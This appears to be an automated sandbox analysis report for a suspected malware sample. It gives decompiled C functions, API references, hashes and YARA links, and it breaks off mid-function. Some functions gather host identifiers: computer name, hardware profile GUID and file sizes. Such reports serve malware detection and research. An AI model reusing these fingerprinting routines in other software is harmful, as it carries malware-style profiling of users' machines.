0x0042a8f6
0x0042a8fb
0x0042a8f1
0x0042a8ea
0x0042a8d9
0x0042a8fe
0x0042a8fe
0x0042a901
0x0042a903
0x0042a906
0x0042a906
0x0042a906
0x0042a906
0x0042a90a
0x00000000
0x0042a90a
0x00000000
0x0042a8ad
0x0042a8b0
0x0042a8b8
0x0042a8bb
0x0042a8c0
0x0042a8c0
0x0042a8bb
0x0042a90d
0x0042a8a0
0x0042a8a0
0x0042a8a2
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a8a2
0x0042a875
0x0042a875
0x0042a877
0x00000000
0x0042a879
0x0042a879
0x0042a87e
0x0042a884
0x0042a889
0x0042a88c
0x0042a88e
0x0042a891
0x0042a891
0x0042a891
0x0042a891
0x0042a895
0x0042a895
0x0042a877
0x0042a90e
0x0042a911
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a7e6

APIs

_malloc.LIBCMT ref: 0042A7EB

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

std::exception::exception.LIBCMT ref: 0042A820
std::exception::exception.LIBCMT ref: 0042A83A
__CxxThrowException@8.LIBCMT ref: 0042A84B

Strings

pO@, xrefs: 0042A803

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: pO@
API String ID: 615853336-2861409048
Opcode ID: 91ae62fd1e22249a44e472b34623a925fd92f824e5524987d1e2001cc66fa9de
Instruction ID: 4d92d6f65575c2d5ca2eab91888c236ff72ceb41119d36de57ff092d539e8343
Opcode Fuzzy Hash: 91ae62fd1e22249a44e472b34623a925fd92f824e5524987d1e2001cc66fa9de
Instruction Fuzzy Hash: 4AF04930B0022457CB04BF55EC42BAE37A86B80718F50002FFC04911A1CFB9DA21C75E

Uniqueness

Uniqueness Score: -1.00%

Function 00420310 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00420310(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				signed int _t12;
				void* _t18;
				void* _t21;
				void* _t23;
				CHAR* _t24;
				void* _t25;
				void* _t27;

				_t24 = E0042A0BB(_t18, __edi, _t23, __ebx);
				 *_t24 = 0;
				L0042D41F(GetTickCount()); // executed
				_t27 = _t25 + 8;
				_t29 = __ebx;
				if(__ebx <= 0) {
					 *((char*)(0 + _t24)) = 0;
					return _t24;
				} else {
					_push(__edi);
					_t21 = __ebx;
					do {
						_t12 = L0042D431(_t29);
						asm("cdq");
						_push(_t12 % 0xa);
						_push(_t24);
						wsprintfA(_t24, "%s%d");
						_t27 = _t27 + 0x10;
						_t21 = _t21 - 1;
					} while (_t21 != 0);
					 *((char*)(__ebx + _t24)) = 0;
					return _t24;
				}
			}

0x00420317
0x0042031c
0x00420326
0x0042032b
0x00420330
0x00420332
0x00420361
0x00420367
0x00420334
0x00420334
0x00420335
0x00420337
0x00420337
0x0042033c
0x00420344
0x00420345
0x0042034c
0x00420352
0x00420355
0x00420355
0x00420359
0x00420360
0x00420360

APIs

_malloc.LIBCMT ref: 00420312

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetTickCount.KERNEL32 ref: 0042031F

Part of subcall function 0042D41F: __getptd.LIBCMT ref: 0042D424

_rand.LIBCMT ref: 00420337

Part of subcall function 0042D431: __getptd.LIBCMT ref: 0042D431

wsprintfA.USER32 ref: 0042034C

Strings

%s%d, xrefs: 00420346

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: __getptd$AllocateCountHeapTick_malloc_randwsprintf
String ID: %s%d
API String ID: 2840978672-1110647743
Opcode ID: 3463e64d84020c68cc98e9d6c27445038d120880a1ff1aa088371b72091cd038
Instruction ID: dea9bafee848c92063f9654c78098be5e414b9bfc385ce75b00d69d183cb69ec
Opcode Fuzzy Hash: 3463e64d84020c68cc98e9d6c27445038d120880a1ff1aa088371b72091cd038
Instruction Fuzzy Hash: 8DF027517006B057D3102B7D7C45B5BA9888F91351F4804BEF50586303E96CC84182FB

Uniqueness

Uniqueness Score: -1.00%

Function 004226A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00422867

Strings

%, xrefs: 004227ED
$, xrefs: 004226F8
+, xrefs: 004227FB

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: swprintf
String ID: $$%$+
API String ID: 233258989-3202472541
Opcode ID: c87dbd9cfae39d933990dbda58c2e95a1ad4855b83414cdb96cd44c9f5499fd5
Instruction ID: bb0c515e13a66df0197217817094252d46402a3865dcdc854e19f9babc0e0da2
Opcode Fuzzy Hash: c87dbd9cfae39d933990dbda58c2e95a1ad4855b83414cdb96cd44c9f5499fd5
Instruction Fuzzy Hash: 51516B72B0831076C715AA14EB407DB77E8EB91740FA05A5EF88193392E6FDCC458BDA

Uniqueness

Uniqueness Score: -1.00%

Function 004053F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004053F0(intOrPtr* __ecx, signed int _a4, intOrPtr _a8) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				char _v28;
				signed int _v32;
				char _v44;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t38;
				signed int _t41;
				signed int _t42;
				intOrPtr* _t44;
				unsigned int _t56;
				intOrPtr _t57;
				unsigned int _t61;
				void* _t62;
				intOrPtr* _t74;
				signed int _t78;
				signed int _t83;
				intOrPtr _t84;

				_push(0xffffffff);
				_push(E0043DA30);
				_push( *[fs:0x0]);
				_t84 = _t83 - 0x1c;
				_t35 =  *0x450664; // 0x30e242aa
				_push(_t35 ^ _t83);
				 *[fs:0x0] =  &_v16;
				_v20 = _t84;
				_t74 = __ecx;
				_v24 = __ecx;
				_t38 = _a4;
				_t78 = _t38 | 0x0000000f;
				if(_t78 <= 0xfffffffe) {
					_t56 =  *(__ecx + 0x14);
					_t61 = _t56 >> 1;
					_t70 = 0xaaaaaaab * _t78 >> 0x20 >> 1;
					__eflags = _t61 - 0xaaaaaaab * _t78 >> 0x20 >> 1;
					if(__eflags > 0) {
						_t78 = _t61 + _t56;
						__eflags = _t56 - 0xfffffffe - _t61;
						if(__eflags > 0) {
							_t78 = 0xfffffffe;
						}
					}
				} else {
					_t78 = _t38;
				}
				_t41 = 0;
				_t11 = _t78 + 1; // 0xffffffff
				_t62 = _t11;
				_v8 = 0;
				if(_t62 <= 0) {
					L8:
					_a4 = _t41;
					_t57 = _a8;
					if(_t57 != 0) {
						if( *(_t74 + 0x14) < 0x10) {
							_t44 = _t74;
						} else {
							_t44 =  *_t74;
						}
						L00429D20(_a4, _t44, _t57);
						_t84 = _t84 + 0xc;
					}
					if( *(_t74 + 0x14) >= 0x10) {
						_push( *_t74);
						E00429B0B();
					}
					_t42 = _a4;
					 *_t74 = 0;
					 *_t74 = _t42;
					 *(_t74 + 0x14) = _t78;
					 *((intOrPtr*)(_t74 + 0x10)) = _t57;
					if(_t78 >= 0x10) {
						_t74 = _t42;
					}
					 *((char*)(_t74 + _t57)) = 0;
					 *[fs:0x0] = _v16;
					return _t42;
				} else {
					_t89 = _t62 - 0xffffffff;
					if(_t62 > 0xffffffff) {
						L9:
						_v28 = 0;
						E0042A1D7( &_v44,  &_v28);
						_v44 = 0x4402a4;
						L0042D646( &_v44, 0x44cd60);
						_v32 = _a4;
						_v20 = _t84;
						__eflags = _v24 + 0x18;
						_v8 = 2;
						_a4 = L00405560(_t74, _t78, _a4 + 1);
						return 0x4054c6;
					} else {
						_push(_t62); // executed
						_t41 = E0042A7D1(_t70, _t74, _t78, _t89); // executed
						_t84 = _t84 + 4;
						if(0 == 0) {
							goto L9;
						} else {
							goto L8;
						}
					}
				}
			}

0x004053f3
0x004053f5
0x00405400
0x00405401
0x00405407
0x0040540e
0x00405412
0x00405418
0x0040541b
0x0040541d
0x00405420
0x00405425
0x0040542b
0x00405431
0x0040543d
0x0040543f
0x00405441
0x00405443
0x0040544c
0x0040544f
0x00405451
0x00405453
0x00405453
0x00405451
0x0040542d
0x0040542d
0x0040542d
0x00405458
0x0040545a
0x0040545a
0x0040545d
0x00405462
0x00405476
0x00405476
0x004054cc
0x004054d1
0x004054d7
0x004054dd
0x004054d9
0x004054d9
0x004054d9
0x004054e5
0x004054ea
0x004054ea
0x004054f1
0x004054f5
0x004054f6
0x004054fb
0x004054fe
0x00405501
0x00405504
0x00405506
0x00405509
0x0040550f
0x00405511
0x00405511
0x00405513
0x0040551a
0x00405528
0x00405464
0x00405464
0x00405467
0x0040547b
0x00405482
0x00405489
0x00405497
0x0040549e
0x004054a9
0x004054ad
0x004054b1
0x004054b4
0x004054bd
0x004054c5
0x00405469
0x00405469
0x0040546a
0x0040546f
0x00405474
0x00000000
0x00000000
0x00000000
0x00000000
0x00405474
0x00405467

APIs

std::exception::exception.LIBCMT ref: 00405489

Part of subcall function 0042A1D7: std::exception::_Copy_str.LIBCMT ref: 0042A1F2

__CxxThrowException@8.LIBCMT ref: 0040549E

Part of subcall function 0042D646: RaiseException.KERNEL32(?,?,0042A850,?,?,?,?,?,0042A850,?,0044CD60,00451C90,?,?,?,00000400), ref: 0042D688

Part of subcall function 00405560: std::exception::exception.LIBCMT ref: 0040558F
Part of subcall function 00405560: __CxxThrowException@8.LIBCMT ref: 004055A4

_memmove.LIBCMT ref: 004054E5

Strings

pO@, xrefs: 00405497

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaise_memmovestd::exception::_
String ID: pO@
API String ID: 163498487-2861409048
Opcode ID: 6cb1451a1eebca606098214b1192c8b405061de8bc217d2e737315655c8b762b
Instruction ID: 9fba9b920bd364a66bd46dac7be0787a3ba8ea17fd193cf6a331841b1ad59491
Opcode Fuzzy Hash: 6cb1451a1eebca606098214b1192c8b405061de8bc217d2e737315655c8b762b
Instruction Fuzzy Hash: 26419871E10615ABC714DF68D4807DFBBB4EB45320F50423BE826A77C1D7789950CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F0A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041F0A0(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _v8;
				struct tagHW_PROFILE_INFOA _v132;
				char _v136;
				signed int _t9;
				int _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t25 = __esi;
				_t24 = __edi;
				_t18 = __ebx;
				_t9 =  *0x450664; // 0x30e242aa
				_v8 = _t9 ^ _t26;
				_v136 = 0;
				_t12 = GetCurrentHwProfileA( &_v132); // executed
				 *((intOrPtr*)(__esi + 0x14)) = 0xf;
				 *((intOrPtr*)(__esi + 0x10)) = 0;
				 *((char*)(__esi)) = 0;
				if(_t12 == 0) {
					_push(L00429C90("Unknown"));
					_push("Unknown");
				} else {
					_push(L00429C90( &(_v132.szHwProfileGuid)));
					_t23 =  &(_v132.szHwProfileGuid);
					_push( &(_v132.szHwProfileGuid));
				}
				E004050C0(_t25);
				return E00429B16(_t25, _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x0041f0a0
0x0041f0a0
0x0041f0a0
0x0041f0a9
0x0041f0b0
0x0041f0b7
0x0041f0c1
0x0041f0c7
0x0041f0ce
0x0041f0d5
0x0041f0da
0x0041f0fc
0x0041f0fd
0x0041f0dc
0x0041f0e8
0x0041f0e9
0x0041f0ec
0x0041f0ec
0x0041f104
0x0041f118

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0041F0C1
_strlen.LIBCMT ref: 0041F0E0
_strlen.LIBCMT ref: 0041F0F4

Strings

Unknown, xrefs: 0041F0EF, 0041F0FD

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen$CurrentProfile
String ID: Unknown
API String ID: 37792462-1654365787
Opcode ID: 9771ba89130b90dce01d8c9dceac66b1902906634d513fe873c91b5abb7c54ce
Instruction ID: 40c40a7885f4f46d32a50707c76713c247231b6b3b6b303ef936dfc7247a4776
Opcode Fuzzy Hash: 9771ba89130b90dce01d8c9dceac66b1902906634d513fe873c91b5abb7c54ce
Instruction Fuzzy Hash: A3F0A970A0030497E720DF65E905BAEB7B4AB04708F50456DE44297242EF79DA08CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 00420A40 Relevance: 6.0, APIs: 4, Instructions: 36
fileCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00420A40(CHAR* __eax) {
				void* _v8;
				char _v12;
				void* _t5;
				void* _t7;
				void* _t14;

				_t5 = CreateFileA(__eax, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_t14 = _t5;
				if(_t14 == 0xffffffff) {
					L3:
					return 0;
				} else {
					_t7 =  *0x45332c(_t14,  &_v12);
					_push(_t14);
					if(_t7 != 0) {
						CloseHandle();
						return _v12;
					} else {
						CloseHandle();
						goto L3;
					}
				}
			}

0x00420a5a
0x00420a60
0x00420a65
0x00420a7d
0x00420a85
0x00420a67
0x00420a6c
0x00420a72
0x00420a75
0x00420a86
0x00420a96
0x00420a77
0x00420a77
0x00000000
0x00420a77
0x00420a75

APIs

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,0040C2BF), ref: 00420A5A
GetFileSizeEx.KERNEL32(00000000,?,?,?,0040C2BF), ref: 00420A6C
CloseHandle.KERNEL32(00000000,?,?,0040C2BF), ref: 00420A77
CloseHandle.KERNEL32(00000000,?,?,0040C2BF), ref: 00420A86

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: bd40dd9e92eeeba55e499033e7fbacac8f2a236d217956d0660c3954472ea95e
Instruction ID: b6d01561c69dae777d55de248f0287c431c5c60144be6a36f9ef64006c054aa7
Opcode Fuzzy Hash: bd40dd9e92eeeba55e499033e7fbacac8f2a236d217956d0660c3954472ea95e
Instruction Fuzzy Hash: 47F08935641314B7E620AB74AC0AF9B77ACDB08762F504351FD04A61D1EA60AB1186D8

Uniqueness

Uniqueness Score: -1.00%

Function 004050C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004050C0(intOrPtr* __ecx, intOrPtr _a4, signed int _a8) {
				intOrPtr _t15;
				intOrPtr* _t16;
				char* _t22;
				intOrPtr* _t27;
				intOrPtr* _t28;
				intOrPtr _t33;
				intOrPtr _t38;
				signed int _t47;
				intOrPtr* _t52;

				_t33 = _a4;
				_t52 = __ecx;
				if(_t33 == 0) {
					L12:
					_t47 = _a8;
					if(_t47 > 0xfffffffe) {
						E00429010("string too long");
					}
					_t15 =  *((intOrPtr*)(_t52 + 0x14));
					if(_t15 >= _t47) {
						if(_t47 != 0) {
							goto L16;
						} else {
							 *((intOrPtr*)(_t52 + 0x10)) = _t47;
							if(_t15 < 0x10) {
								_t22 = _t52;
								 *_t22 = 0;
								return _t22;
							} else {
								 *((char*)( *_t52)) = 0;
								return _t52;
							}
						}
					} else {
						E004053F0(_t52, _t47,  *((intOrPtr*)(_t52 + 0x10))); // executed
						if(_t47 == 0) {
							L26:
							return _t52;
						} else {
							L16:
							if( *((intOrPtr*)(_t52 + 0x14)) < 0x10) {
								_t16 = _t52;
							} else {
								_t16 =  *_t52;
							}
							L00429D20(_t16, _t33, _t47);
							 *((intOrPtr*)(_t52 + 0x10)) = _t47;
							if( *((intOrPtr*)(_t52 + 0x14)) < 0x10) {
								 *((char*)(_t52 + _t47)) = 0;
								goto L26;
							} else {
								 *((char*)( *_t52 + _t47)) = 0;
								return _t52;
							}
						}
					}
				} else {
					_t38 =  *((intOrPtr*)(__ecx + 0x14));
					if(_t38 < 0x10) {
						_t27 = __ecx;
					} else {
						_t27 =  *__ecx;
					}
					if(_t33 < _t27) {
						goto L12;
					} else {
						if(_t38 < 0x10) {
							_t28 = _t52;
						} else {
							_t28 =  *_t52;
						}
						if( *((intOrPtr*)(_t52 + 0x10)) + _t28 <= _t33) {
							goto L12;
						} else {
							if(_t38 < 0x10) {
								return E004051C0(_t52, _t52, _t33 - _t52, _a8);
							} else {
								return E004051C0(_t52, _t52, _t33 -  *_t52, _a8);
							}
						}
					}
				}
			}

0x004050c4
0x004050c8
0x004050cc
0x00405127
0x00405128
0x0040512e
0x00405135
0x00405135
0x0040513a
0x0040513f
0x0040515d
0x00000000
0x0040515f
0x0040515f
0x00405165
0x00405176
0x00405179
0x0040517e
0x00405167
0x0040516a
0x00405172
0x00405172
0x00405165
0x00405141
0x00405148
0x0040514f
0x004051ac
0x004051b2
0x00405151
0x00405151
0x00405155
0x00405181
0x00405157
0x00405157
0x00405157
0x00405186
0x00405192
0x00405195
0x004051a8
0x00000000
0x00405197
0x00405199
0x004051a3
0x004051a3
0x00405195
0x0040514f
0x004050ce
0x004050ce
0x004050d4
0x004050da
0x004050d6
0x004050d6
0x004050d6
0x004050de
0x00000000
0x004050e0
0x004050e3
0x004050e9
0x004050e5
0x004050e5
0x004050e5
0x004050f2
0x00000000
0x004050f4
0x004050f7
0x00405124
0x004050f9
0x0040510d
0x0040510d
0x004050f7
0x004050f2
0x004050de

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405135
_memmove.LIBCMT ref: 00405186

Part of subcall function 004051C0: std::_Xinvalid_argument.LIBCPMT ref: 004051DA

Strings

string too long, xrefs: 00405130

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 10c546a3ffc7d029e81895dd33fc511fc27bf1ce89764f7b496fdb7ea2d05bb1
Instruction ID: b6ca7f312476d1700428f706923119084fd475d609ad66c14d4b6a0648c3e6e2
Opcode Fuzzy Hash: 10c546a3ffc7d029e81895dd33fc511fc27bf1ce89764f7b496fdb7ea2d05bb1
Instruction Fuzzy Hash: 4D31F932B10A109BD7249D5CA880A6FF7E9EB95720B20093FF481DB7C1C7759C408BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004052B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E004052B0(intOrPtr* __ecx, void* __edi, signed int _a4, char _a8) {
				signed int _t11;
				signed int _t16;
				signed int _t19;
				intOrPtr _t20;
				void* _t25;
				signed int _t26;
				intOrPtr* _t28;
				void* _t29;

				_t25 = __edi;
				_t21 = __ecx;
				_t19 = _a4;
				_t28 = __ecx;
				if(_t19 > 0xfffffffe) {
					E00429010("string too long");
				}
				_t11 =  *(_t28 + 0x14);
				if(_t11 >= _t19) {
					if(_a8 == 0 || _t19 >= 0x10) {
						if(_t19 == 0) {
							 *((intOrPtr*)(_t28 + 0x10)) = _t19;
							if(_t11 >= 0x10) {
								_t28 =  *_t28;
							}
							 *_t28 = 0;
						}
						asm("sbb eax, eax");
						return  ~_t11;
					} else {
						_push(_t25);
						_t26 =  *((intOrPtr*)(_t28 + 0x10));
						if(_t19 < _t26) {
							_t26 = _t19;
						}
						if(_t11 >= 0x10) {
							_t20 =  *_t28;
							if(_t26 != 0) {
								L00429D20(_t28, _t20, _t26);
								_t29 = _t29 + 0xc;
							}
							_push(_t20);
							_t11 = E00429B0B();
							_t19 = _a4;
						}
						 *((intOrPtr*)(_t28 + 0x10)) = _t26;
						 *(_t28 + 0x14) = 0xf;
						 *((char*)(_t26 + _t28)) = 0;
						asm("sbb eax, eax");
						return  ~_t11;
					}
				} else {
					_t16 = E004053F0(_t21, _t19,  *((intOrPtr*)(_t28 + 0x10))); // executed
					asm("sbb eax, eax");
					return  ~_t16;
				}
			}

0x004052b0
0x004052b0
0x004052b4
0x004052b8
0x004052bd
0x004052c4
0x004052c4
0x004052c9
0x004052ce
0x004052ec
0x0040533e
0x00405340
0x00405346
0x00405348
0x00405348
0x0040534a
0x0040534a
0x00405351
0x00405358
0x004052f3
0x004052f3
0x004052f4
0x004052f9
0x004052fb
0x004052fb
0x00405300
0x00405302
0x00405306
0x0040530b
0x00405310
0x00405310
0x00405313
0x00405314
0x00405319
0x0040531c
0x0040531f
0x00405322
0x0040532b
0x00405332
0x00405339
0x00405339
0x004052d0
0x004052d5
0x004052de
0x004052e5
0x004052e5

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004052C4

Part of subcall function 00429010: std::exception::exception.LIBCMT ref: 00429025
Part of subcall function 00429010: __CxxThrowException@8.LIBCMT ref: 0042903A
Part of subcall function 00429010: std::exception::exception.LIBCMT ref: 0042904B

_memmove.LIBCMT ref: 0040530B

Strings

string too long, xrefs: 004052BF

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 1785806476-2556327735
Opcode ID: c087c0980868a007216e0368bda5fa7275abf82ed694ca7f4a2c0ac604a05dc2
Instruction ID: be6dcc0e0ed624dcb6104879bfd02d6b73cc21bb5b6474724d621202331cf282
Opcode Fuzzy Hash: c087c0980868a007216e0368bda5fa7275abf82ed694ca7f4a2c0ac604a05dc2
Instruction Fuzzy Hash: 02110B31114B145FEB24AD7CA8C0A2FB798EF61314F100E3FE493932C2D779A8448B68

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0041EF80(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _v8;
				char _v32776;
				long _v32780;
				signed int _t9;
				int _t12;
				char* _t13;
				intOrPtr _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				signed int _t22;

				_t21 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				_t15 = __ebx;
				E00438A70(0x8008);
				_t9 =  *0x450664; // 0x30e242aa
				_v8 = _t9 ^ _t22;
				_v32780 = 0x7fff;
				_t12 = GetComputerNameA( &_v32776,  &_v32780); // executed
				_t13 = "Unknown";
				if(_t12 != 0) {
					_t13 =  &_v32776;
				}
				_t6 =  &_v8; // 0x40ece2
				return E00429B16(_t13, _t15,  *_t6 ^ _t22, _t19, _t20, _t21);
			}

0x0041ef80
0x0041ef80
0x0041ef80
0x0041ef80
0x0041ef88
0x0041ef8d
0x0041ef94
0x0041efa5
0x0041efaf
0x0041efb7
0x0041efbc
0x0041efbe
0x0041efbe
0x0041efc4
0x0041efd1

APIs

GetComputerNameA.KERNEL32 ref: 0041EFAF

Strings

Unknown, xrefs: 0041EFB7
@, xrefs: 0041EFC4

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID: Unknown$@
API String ID: 3545744682-2860273988
Opcode ID: 3687b03be7c3ca06cfb776c4dc418386f9bc77c6f5df6ca58f6a5542780a602f
Instruction ID: 67a0da88ab2b82a8240f4c1c10c20825e36c153a39ac7108bd1c9a517cf11ef2
Opcode Fuzzy Hash: 3687b03be7c3ca06cfb776c4dc418386f9bc77c6f5df6ca58f6a5542780a602f
Instruction Fuzzy Hash: 68E0C0356002189BCB94DF99DD41A9AB3E8BB08305F4081BAA94E93241DE34AE4C9F59

Uniqueness

Uniqueness Score: -1.00%

Function 00408D90 Relevance: 4.6, APIs: 3, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00408D90(intOrPtr* __ebx, void* __ecx, intOrPtr* _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* __edi;
				void* __esi;
				intOrPtr _t60;
				intOrPtr* _t76;
				intOrPtr* _t97;
				intOrPtr* _t103;

				_t76 = __ebx;
				if(__ebx != 0) {
					if( *((intOrPtr*)(__ebx + 0x18)) == 0) {
						goto L1;
					} else {
						if( *((intOrPtr*)(__ebx + 0x7c)) != 0) {
							E00409160(__ecx, __ebx);
						}
						_t96 = _t76;
